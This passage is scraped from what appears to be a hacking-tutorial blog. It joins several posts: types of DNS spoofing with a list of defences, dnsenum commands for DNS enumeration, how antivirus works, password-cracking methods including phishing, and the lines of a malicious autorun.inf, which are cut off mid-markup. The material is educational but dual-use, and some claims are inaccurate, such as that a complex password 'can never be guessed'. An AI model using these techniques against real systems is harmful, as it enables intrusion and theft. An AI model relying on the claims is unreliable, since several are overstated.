<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ You will become the DNS server and her DNS<br />requests will go through you<br />There are four types of DNS poisoning attacks using<br />which you can compromise the target system:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Intranet DNS spoofing (local network)<br />When an attacker performs DNS poisoning on a locl<br />area network (LAN), it is called intranet DNS<br />spoofing. An attacker can perform intranet DNS<br />spoofing attack with the help of the ARP poisoning<br />technique. THis is usually conducted on a swithced<br />LAN. To perform this attack, you must be connected<br />to the LAN and be able to sniff the traffic or packets.<br />Once the attacker succeds in sniffing the ID of the<br />DNS request from the intranet, he or she can send a<br />malicious reply to the sender before the actual DNS<br />server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Internet DNS spoofing (remote network)<br />Internet DNS poisoning is also known as remote<br />DNS poisoning. This attack can be performed either<br />on asingle or multiple victims anywhere in the world.<br />In order to perform this attack, you need to set up a<br />rouge DNS server with a static IP address.<br />Internet DNS spoofing is performed when the<br />victim's system is connedted to the Internet. It is<br />done with the help of Trojans. It is one of the MITM<br />types of attacks, where the attacker changers the<br />primary DNS entries of the victim's computer. The<br />attacker replaces the victim's DNS IP address with<br />the fake IP address that refers t the attacker's<br />system; thus all traffic will be redirected to the<br />attacker's machine. Now the aatcker can easily sniff<br />the victim's confidential information.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Proxy server DNS poisoning<br />In the proxy server DNS posoning technique, tha<br />taattacker changes the proxy server setting of the<br />victim to that of the attacker. This is done with the<br />help of a Trojan. This redirects the victim's request<br />to the attacker's fake website where the attacker can<br />sniff the confidential information of the victim.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ DNS cache poisoning<br />The DNS system uses cache memory to hold the<br />recently resolved domain names. It is populated<br />with recently used domain names and respective IP<br />address entries. When the user request comes, the<br />DNS resolver first checks the DNS cache; if the<br />domain name that the user requested is found in the<br />cache, then the resolver sends its respective IP<br />address quickly. Thus, it redueces the traffic and<br />time of DNS resolving.<br />Attacker target this DNS cache and make changes or<br />add entries to the DNS cache. The attacker replaces<br />the user-requested IP address with the fake IP<br />address. Then, after when user requests that domain<br />name, the DNS resolver checks the entry in the DNS<br />cache and picks the matched entry. Thus, the victim<br />is rediirected to the attacker's fake server instead of<br />the authorized server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br /></span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">How to defend against DNS spoofing:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br /></span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">Resolve all DNS queries to local DNS servers<br />Block DNS requests from going to external severs<br />Implement DNSSEC<br />Configure the DNS resolver to use a new random<br />source prot from its available range for each<br />outgoing query<br />Configure the firewall to restrict external DNS lookup<br />Restrict the DNS recuring service, either full or<br />partial, to authorized users<br />Use DNS Non-Existent Domain rate limitng<br />Secure your internal machines<br />Implement IDS and deploy it correctly<br />Use static ARP and IP table<br />Use SSH encryption<br />Use sniffing detection tools<br />Do not open suspicious files<br />Always use trusted proxy sites<br />Audit your DNS server regularly to remove<br />vulnerabilities</span></span></div>
</div>

DNS poisoning - EXPLANATION | hacking trick

DNS poisoning is a technique that tricks a DNS server into believing that is has received authentic inforamtion when, in reality, it has n...

DNS - FULL EXPLANATION

Admin Jixxi 0 ARP Poisoning - FULL EXPLANATION, DNS - FULL EXPLANATION, EXPLANATION

<div dir="ltr" style="text-align: left;" trbidi="on">
Enumerating DNS records with DNSenum Tool in Kali Linux<br />
<br />
DNS 
stand for Domain Name System (or Service or Server), an Internet service
 that translates domain names into IP addresses. Because domain names 
are alphabetic, they’re easier to remember.<br />
<br />
The Internet however, is 
really based on IP addresses. Every time you use a domain name, 
therefore, a DNS service must translate the name into the corresponding 
IP address.<br />
<br />
For example, the domain name <a href="http://way2h.blogspot.com/" target="_blank">www.way2h.blogspot.com</a> might translate to 74.125.236.67 which is google DNS ip  this is my blog so the domain name was given by google and so this ip is google dns IP <br />
<br />
One of the most important stages of an attack is information gathering.
 To be able to launch an attack, we need to gather basic information 
about our target. So, the more information we get, the higher is the 
probability of a successful attack.<br />
<br />
Enumeration is a process that 
allows us to gather information from a network. We will examine DNS 
enumeration and SNMP enumeration techniques.<br />
<br />
DNS enumeration is
 the process of locating all DNS servers and DNS entries for an 
organization. DNS enumeration will allow us to gather critical 
information about the organization such as usernames, computer names, IP
 addresses, and so on. To achieve this task, we will use DNSenum. For 
SNMP enumeration, we will use a tool called SnmpEnum. SnmpEnum is a 
powerful SNMP enumeration tool that allows users to analyze SNMP traffic
 on a network.<br />
<br />
Navigate to Application > Kali Linux > Information Gathering > DNS Analysis > Open dnsenum<br />
<br />
and enter the following command:<br />
<br />
<span style="color: red;">root@Kali:~# dnsenum – - enum example.com</span><br />
<br />
It Will Show you Host address , Name Servers address , Mail (MX) Server and Zone Trabsfer Information.<br />
<br />
If you want to More Powerful scan with Sub-domain, then use the following syntax.<br />
<br />
<span style="color: red;">root@Kali:~# dnsenum – - enum -f -r example.com</span><br />
<br />
There are some additional options we can run using DNSenum:<br />
<br />
- threads [number] allows you to set how many processes will run at once<br />
-r allows you to enable recursive lookups<br />
-d allows you to set the time delay in seconds between WHOIS requests<br />
-o allows us to specify the output location<br />
-w allows us to enable the WHOIS queries<br />
<br />
<br />
<br />
<br />
<br /><br />
<span style="color: #274e13;"><b>Hope you enjoyed reading this tutorial! and remember this tut is only for educational purpose dont try to use again any restricted server  do it only if u awn the domain or u have rights to do so....   happy hacking hope u learn something if u have any question related to this then  do comment i will reply you :)  </b></span><br />
<span style="color: lime;"><b>   </b></span></div>

DNS - FULL EXPLANATION

Enumerating DNS records with DNSenum Tool in Kali Linux DNS stand for Domain Name System (or Service or Server), an Internet service th...

How Antivirus Software Works

Admin Jixxi 0 EXPLANATION, How Antivirus Software Works

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Due to ever 
increasing threat from virus and other malicious programs, almost every 
computer today comes with a pre-installed antivirus software on it. In 
fact, an antivirus has become one of the most essential software package
 for every computer.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Even though 
every one of us have an antivirus software installed on our 
computers, only a few really bother to understand how it actually works!
 Well, if you are one among those few who would really bother to 
understand how an antivirus works, then this article is for you.</span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<a href="http://www.blogger.com/null" name="more"></a><br />
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<h2 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">How Antivirus Works:</span></h2>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">An antivirus
 software typically uses a variety of strategies in detecting and 
removing viruses, worms and other malware programs. The following are 
the two most widely employed identification methods:</span></div>
<h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">1. Signature-based dectection (Dictionary approach)</span></h3>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">This is the 
most commonly employed method which involves searching for known 
patterns of virus within a given file. Every antivirus software will 
have a dictionary of sample malware codes called <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">signatures </em>in
 it’s database. Whenever a file is examined, the antivirus refers to the
 dictionary of sample codes present within it’s database and compares 
the same with the current file. If the piece of code within the file 
matches with the one in it’s dictionary then it is flagged and proper 
action is taken immediately so as to stop the virus from further 
replicating. The antivirus may choose to repair the file, quarantine or 
delete it permanently based on it’s potential risk.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">As new 
viruses and malwares are created and released every day, this method of 
detection cannot defend against new malwares unless their samples are 
collected and signatures are released by the antivirus software company.
 Some companies may also encourage the users to upload new viruses or 
variants so that, the virus can be analyzed and the signature can be 
added to the dictionary.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Signature 
based detection can be very effective, but requires frequent updates of 
the virus signature dictionary. Hence, the users must update their 
antivirus software on a regular basis so as to defend against new 
threats that are released daily.</span></div>
<h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">2. Heuristic-based detection (Suspicious behaviour approach)</span></h3>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Heuristic-based detection involves identifying <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">suspicious behaviour </em>from
 any given program which might indicate a potential risk. This approach 
is used by some of the sophisticated antivirus software to identify new 
malware and variants of known malware.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Unlike 
the signature based approach, here the antivirus doesn’t attempt to 
identify known viruses, but instead monitors the behavior of all 
programs.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">For example,
 malicious behaviours like a program trying to write data to an 
executable program is flagged and the user is alerted about this action.
 This method of detection gives an additional level of security from 
unidentified threats.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">File emulation:</span></strong> This is another type of <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">heuristic-based approach </em>where
 a given program is executed in a virtual environment and the actions 
performed by it are logged. Based on the actions logged, the antivirus 
software can determine if the program is malicious or not and carry out 
necessary actions in order to clean the infection.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Most commercial antivirus software use a combination of both signature-based and heuristic-based approaches to combat malware.</span></div>
<h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Issues of Concern:</span></h3>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Zero-day threats:</span> </strong>A
 zero-day (zero-hour ) threat or attack is where a malware tries to 
exploit computer application vulnerabilities that are 
yet unidentified by the antivirus software companies. These attacks are 
used to cause damage to the computer even before they are identified. 
Since patches are not yet released for these kind of new threats, they 
can easily manage to bypass the antivirus software and carry out 
malicious actions. However, most of the threats are identified after a 
day or two of it’s release, but damage caused by them before 
identification is quite inevitable.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Daily Updates:</span> </strong>Since
 new viruses and threats are released every day, it is most essential to
 update the antivirus software so that the virus definitions are kept 
up-to-date. Most software will have an auto-update feature so that, the 
virus definitions are updated whenever the computer is connected to the 
Internet.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Effectiveness:</span> </strong>Even
 though an antivirus software can catch almost every malware, it is 
still not 100% foolproof against all kinds of threats. As explained 
earlier, a zero-day threat can easily bypass the protective shield of 
the antivirus software. Also virus authors have tried to stay a step 
ahead by writing “<a href="http://en.wikipedia.org/wiki/Oligomorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Oligomorphic code">oligomorphic</a>“, “<a href="http://en.wikipedia.org/wiki/Polymorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Polymorphic code">polymorphic</a>” and, more recently, “<a href="http://en.wikipedia.org/wiki/Metamorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Metamorphic code">metamorphic</a>”
 virus codes, which will encrypt parts of themselves or otherwise modify
 themselves as a method of disguise, so as to not match virus signatures
 in the dictionary.</span></div>
<div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="font-family: Courier New, Courier, monospace;">Thus user 
awareness is as important as antivirus software; users must be 
trained to practice safe surfing habits such as downloading files only 
from trusted websites and not blindly executing a program that is 
unknown or obtained from an untrusted source. I hope this article will 
help you understand the working of an antivirus software.</span></div>
</div>

How Antivirus Software Works

Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus ...

Basic of Password Cracking for Beginner

Admin Jixxi 0 5 things a Beginner Hacker should know, EXPLANATION, hack, Hacking tools, Password Creaking

</div>
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Password
 cracking is the process of recovering secret passwords from data that 
has been stored in or transmitted by a computer system. A common 
approach is to repeatedly try guesses for the password.</span><br /><span style="background-color: white; color: #333333; line-height: 17px;"><br /></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Most passwords can be cracked by using following techniques :</span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">1) Hashing :-</span></b><span style="color: #333333;"> </span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span>
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">Here
 we will refer to the one way function (which may be either an 
encryption function or cryptographic hash) employed as a hash and its 
output as a hashed password.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">If
 a system uses a reversible function to obscure stored passwords, 
exploiting that weakness can recover even 'well-chosen' passwords.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">One
 example is the LM hash that Microsoft Windows uses by default to store 
user passwords that are less than 15 characters in length.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">LM
 hash breaks the password into two 7-character fields which are then 
hashed separately, allowing each half to be attacked separately.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.</span></span><br />
<a href="http://www.blogger.com/null" name="more"></a><span style="font-family: Courier New, Courier, monospace;"><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><span style="color: #e06666; font-size: medium;"><b>2) Guessing :-</b></span><span style="color: #333333;"> </span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span>
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">Many
 passwords can be guessed either by humans or by sophisticated cracking 
programs armed with dictionaries (dictionary based) and the user's 
personal information.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Not
 surprisingly, many users choose weak passwords, usually one related to 
themselves in some way. Repeated research over some 40 years has 
demonstrated that around 40% of user-chosen passwords are readily 
guessable by programs. Examples of insecure choices include:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* blank (none)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the word "password", "passcode", "admin" and their derivatives</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the user's name or login name</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* the name of their significant other or another person (loved one)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* their birthplace or date of birth</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a pet's name</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a dictionary word in any language</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* automobile licence plate number</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">and so on....</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">In
 one survery of MySpace passwords which had been phished, 3.8 percent of
 passwords were a single word found in a dictionary, and another 12 
percent were a word plus a final digit; two-thirds of the time that 
digit was.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A
 password containing both uppercase & lowercase characters, numbers 
and special characters too; is a strong password and can never be 
guessed.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Check Your Password Strength</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">3) Default Passwords :-</span></b><span style="color: #333333;"> </span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span>
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">A
 moderately high number of local and online applications have inbuilt 
default passwords that have been configured by programmers during 
development stages of software. There are lots of applications running 
on the internet on which default passwords are enabled. So, it is quite 
easy for an attacker to enter default password and gain access to 
sensitive information. A list containing default passwords of some of 
the most popular applications is available on the internet.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Always disable or change the applications' (both online and offline) default username-password pairs.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><b><span style="color: #e06666; font-size: medium;">4) Brute Force :-</span></b><span style="color: #333333;"> </span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">If
 all other techniques failed, then attackers uses brute force password 
cracking technique. Here an automatic tool is used which tries all 
possible combinations of available keys on the keyboard. As soon as 
correct password is reached it displays on the screen.This techniques 
takes extremely long time to complete, but password will surely cracked.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Long is the password, large is the time taken to brute force it.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; line-height: 17px;"><span style="color: #e06666; font-size: medium;"><b>5) Phishing :-</b></span><span style="color: #333333;"> </span></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;"><br /></span></span></span><span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; line-height: 17px;"><span style="color: #333333;">This
 is the most effective and easily executable password cracking technique
 which is generally used to crack the passwords of e-mail accounts, and 
all those accounts where secret information or sensitive personal 
information is stored by user such as social networking websites, 
matrimonial websites, etc.</span></span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Phishing
 is a technique in which the attacker creates the fake login screen and 
send it to the victim, hoping that the victim gets fooled into entering 
the account username and password. As soon as victim click on "enter" or
 "login" login button this information reaches to the attacker using 
scripts or online form processors while the user(victim) is redirected 
to home page of e-mail service provider.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;"><br /></span></span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="background-color: white; color: #333333; line-height: 17px;">Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">It
 is possible to try to obtain the passwords through other different 
methods, such as social engineering, wiretapping, keystroke logging, 
login spoofing, dumpster diving, phishing, shoulder surfing, timing 
attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity 
management system attacks (such as abuse of Self-service password reset)
 and compromising host security.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">However, cracking usually designates a guessing attack.</span></span></div>

Basic of Password Cracking for Beginner

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer syste...

Autorun.inf attak!! ? read this and know what happen to inf file

Admin Jixxi 0 Antivirus, EXPLANATION, tips and tricks, Tricks, virus

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" itemprop="name">
Autorun.inf virus attack! Is autorun.inf virus?
</h3>
<div class="post-header">

</div>
<div dir="ltr" style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">This is the instructions that saved in the infected(call virus programs) autorun.inf file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Explore=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Default=1</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; 